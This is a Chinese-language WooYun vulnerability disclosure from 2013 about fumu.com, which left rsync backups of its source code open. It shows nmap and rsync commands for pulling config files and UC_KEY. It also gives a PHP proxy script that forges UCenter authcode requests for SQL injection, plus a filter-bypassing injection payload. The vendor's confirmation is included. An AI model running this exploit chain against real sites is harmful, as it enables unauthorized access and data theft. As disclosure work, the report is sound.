当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028654

漏洞标题:父母网rsync信息泄露源代码导致安全问题

相关厂商:父母网

漏洞作者: 五道口杀气

提交时间:2013-11-13 17:30

修复时间:2013-12-28 17:30

公开时间:2013-12-28 17:30

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-13: 细节已通知厂商并且等待厂商处理中
2013-11-13: 厂商已经确认,细节仅向厂商公开
2013-11-23: 细节向核心白帽子及相关领域专家公开
2013-12-03: 细节向普通白帽子公开
2013-12-13: 细节向实习白帽子公开
2013-12-28: 细节向公众公开

简要描述:

在drops上看到rsync的这个文章http://drops.wooyun.org/papers/161,再看wooyun上的漏洞好像很多大网站都没有注意其他网站呢?
随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。

详细说明:

www.fumu.com
ip 210.14.136.87
按照文章给出的教程利用命令扫C段的rsync试下

nmap -n --open -p 873 210.14.136.1-255


f1.jpeg


当我连接到93服务器时惊喜来了:

rsync 210.14.136.93::


f2.jpeg


主站就是用的phpcms,这里的phpcms模块应该就是备份的主站代码。
而bak目录貌似下备份了所有代码
查看一下:

rsync 210.14.136.93::bak


存在很多目录

f3.jpeg


找到bbs下的UC_KEY

rsync 210.14.136.93::bak/newbbs/config/


存在uc,找到data目录下的config.inc.php
同步下来看看内容:

rsync -vzrtopg --progress 210.14.136.93::bak/uc/data/config.inc.php /Users/test/fumubak 
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/config/config_ucenter.php /Users/test/fumubak/


打开本地fumubak目录里的config_ucenter.php文件,找到UC_KEY。
拿到UC_KEY可以干嘛,可以做好多,参见之前牛奶坦克发的漏洞 WooYun: 齐博cms整站系统(原PHP168)配置不当导致任意用户登陆
利用UC_KEY里面的函数都可以直接调用了,看下uc.php里的函数:

rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/api/uc.php /Users/test/fumubak/db


看到updateapps写文件,这是要写shell的漏洞啊,测了半天忽略了var_export函数,转义了单引号,无法截断。。。。。。

f4.jpeg


同时也有有synlogin可以设置cookie,已管理员的身份登录,但是dz进入后台需要再输入一遍密码无法进到后台。
最后发现deleteuser那里有个sql注入,同样利用http://drops.wooyun.org/tips/125思路。
把牛奶坦克那个脚本改一下做个代理方便注入:

<?php
error_reporting(0);
$host = "bbs.fumu.com";
//$doing = $argv[2];
$time = time()+10*3600;
$getshell = 0;
// if ($doing == 'login') {
// // synlogin ,不过只登陆第一个admin帐户,如果uid1不是管理员,需要自己手工找下
// $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin';
// } elseif ($doing == 'shell' ) {
// $code = 'time='.$time.'&action=updateapps';
// } elseif ($doing == 'temp' ) {
// $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser';
// } else {
// $doing = 'test';
// $code = 'time='.$time.'&action='.$doing;
// }
$sqlin = $_GET['id'];
$sqlin=str_replace(" ","%20",$sqlin);
$sqlin=str_replace("=","%3D",$sqlin);
$code = 'time='.$time."&ids=$sqlin&action=deleteuser";
$uc_key = array(
//'null' => '',
'bbs' => '59XXXXXXXXXXXXXXXX9Ib',
//'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y'
);
foreach ($uc_key as $key => $value) {
$exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
//echo "http://$host/$exp";
$result = file_get_contents("http://$host/$exp");
print_r($result);
//$status = get_headers("http://$host/$exp");

//if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){
//echo $result;
//echo "[+] UC_KEY '$key' can use .\r\n";
//echo "[*] EXP = $exp \r\n";
/*
if ( $getshell == 1 ) { //Get shell
echo "[+]Getshell...\r\n";
$cmd = array(
'one' =>
'<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="appid">123\');phpinfo();//</item>
</root>'
);
foreach ($cmd as $key => $value) {
$res = send($host,$exp,$value);
}
$getshell = 0;
}
print("[+]Try to
http://$host/member/api/client/data/cache/apps.php
or
http://$host/uc_client/data/cache/apps.php\r\n");
*/
//} else {
//echo "[+] UC_KEY '$key' ". $result."\r\n";
//}
}
function send($host,$code,$cmd){
$message = "POST /".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}


从脚本中的注释也看一看出测试过程多蛋疼。。。
以为顺利注入就可以了,在/source/class/class_core.php中还有放注入函数……

f5.jpeg


绕过方式:
http://127.0.0.1/ucbbs.php?id=1)%20and%20(/*!select*/%201%20FROM%20(/*!select*/%20count(*),concat(floor(rand(0)*2),(/*!select*/%20version()))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20(1)=(1

f6.jpeg


还有别的事情,不搞了,不过发现rsync里面都有shell了,,,只不过没找到位置,还有uc.fumu.com都被挂马了。
你要不要参加个乌云众测保障下安全啊?

漏洞证明:

修复方案:

参考:http://drops.wooyun.org/papers/161

版权声明:转载请注明来源 五道口杀气@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-13 17:35

厂商回复:

网站部署欠缺经验,目前正在修复,并自查。感谢 @五道口杀气

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-03 20:06 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    nmap自带一个rsync-list-modules插件,如果只扫873配合这个应该效率会更好一些